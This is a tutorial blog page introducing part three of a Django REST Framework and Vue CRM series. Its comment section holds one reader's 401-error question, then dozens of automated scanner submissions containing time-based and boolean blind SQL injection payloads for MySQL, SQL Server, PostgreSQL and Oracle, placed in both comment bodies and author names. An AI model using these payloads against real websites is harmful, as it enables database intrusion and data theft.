Part three - Building a Simple CRM Using Django (DRF) And Vue

In the third part of this Django and Vue series, I'm going to show you how to add leads and how to get them from the backend.

Comments

Matthew Strange | Mar 17, 22 02:43

Hi,

Why am i getting this error on the Lead add section? Unauthorized: /api/v1/leads/
[17/Mar/2022 14:42:38] "POST /api/v1/leads/ HTTP/1.1" 401 58

I have even copied your code?

Thanks

Matt


Stein Ove Helset | Mar 22, 22 01:04

Hmm, sounds weird :s are you sure the user is authenticated?
It's hard to say without seeing more of the error code.

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

-1 OR 2+54-54-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:57

-1 OR 2+747-747-1=0+0+0+1

EFSArCBy | Jul 02, 26 08:57

-1' OR 2+366-366-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:57

-1' OR 2+406-406-1=0+0+0+1 or 'uri0AhkZ'='

EFSArCBy | Jul 02, 26 08:57

-1" OR 2+193-193-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:57

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 08:57

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 08:57

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 08:57

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 08:57

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:57

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:57

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:57

555zBa5Gsgl'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:57

555-1 OR 700=(SELECT 700 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:57

555-1) OR 81=(SELECT 81 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:57

555-1)) OR 430=(SELECT 430 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:57

555v1rZMCND' OR 692=(SELECT 692 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:57

555bx4MBUj2') OR 127=(SELECT 127 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:57

555viKUtuJw')) OR 249=(SELECT 249 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:57

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 08:57

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555'"

EFSArCBy | Jul 02, 26 08:57

@@XzFQq

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

-1 OR 2+183-183-1=0+0+0+1 -- | Jul 02, 26 08:57

555

-1 OR 2+963-963-1=0+0+0+1 | Jul 02, 26 08:57

555

-1' OR 2+757-757-1=0+0+0+1 -- | Jul 02, 26 08:57

555

-1' OR 2+770-770-1=0+0+0+1 or 'UZOoJpjX'=' | Jul 02, 26 08:57

555

-1" OR 2+232-232-1=0+0+0+1 -- | Jul 02, 26 08:57

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 08:57

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 08:57

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 08:57

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 08:57

555

EFSArCByIBW4LUvg'; waitfor delay '0:0:15' -- | Jul 02, 26 08:57

555

EFSArCByyYzBdva6' OR 208=(SELECT 208 FROM PG_SLEEP(15))-- | Jul 02, 26 08:57

555

EFSArCByb2YP8bbh') OR 666=(SELECT 666 FROM PG_SLEEP(15))-- | Jul 02, 26 08:57

555

EFSArCBydNXhyEWg')) OR 632=(SELECT 632 FROM PG_SLEEP(15))-- | Jul 02, 26 08:57

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy'" | Jul 02, 26 08:57

555

@@oOh9s | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:57

555

EFSArCBy | Jul 02, 26 08:58

555

EFSArCBy | Jul 02, 26 08:58

555

EFSArCBy | Jul 02, 26 08:58

555

EFSArCBy | Jul 02, 26 08:58

555

EFSArCBy | Jul 02, 26 08:58

555

EFSArCBy | Jul 02, 26 08:58

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.